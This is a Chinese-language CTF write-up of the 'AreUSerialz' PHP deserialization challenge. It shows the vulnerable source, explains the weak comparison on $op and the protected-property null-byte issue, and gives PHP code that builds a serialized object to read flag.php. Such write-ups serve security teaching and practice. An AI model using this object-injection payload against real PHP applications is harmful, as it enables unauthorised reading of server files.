[网鼎杯 2020 青龙组]AreUSerialz

1.将源代码放到本地php环境中进行调试

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

2.解题思路

1.通过GET方式进行传参，传给变量str;
2.通过is_valid()函数判断进来的数据大于等于32并且小于等于125；
3.通过反序列化将str的字符串转换成对象。我们想成功读取文件flag.php的话，需要判断以下条件 (1)我们在写保护的函数中，需要满足的条件是变量content不能大于100； (2)要想触发写保护的话，需要满足的条件是public
function process() 中的op == “1”； (3)要想到写保护的话，需要触发__construct函数
(4)__construfct函数，构造函数，当创建对象时自动调用

4.根据上述代码分析，当$op值强比较=\==不等于str(2)，弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)

3.所以触发__destruct()方法也没关系，正常构造即可

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op = '1';    //这里有问题，后面会讲述到protected $filename = 'flag.php';public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}$test = new FileHandler;
var_dump(urlencode(serialize($test)));

4.通过URL解码，我们发现了在属性op和filename前面有乱码
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5.使用十六进制进行和查看，可以看到%00%2A%00,因为op和filename是protected的属性,
在序列化的过程中会被转换成%00*%00，然而浏览器会将%00当成空值，因此无法获得flag

6.我还以为抓包就能绕过这题，但是思路错了，使用bp或者yakit进行传参后面发现这种方法不得行
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7.只能利用php7的版本对属性的不敏感绕过，需要纠正前面payload的错，op的应该是整型，及int()的类型，正确的payload如下所示

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {public  $op = 2;public $filename = 'flag.php';}$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));

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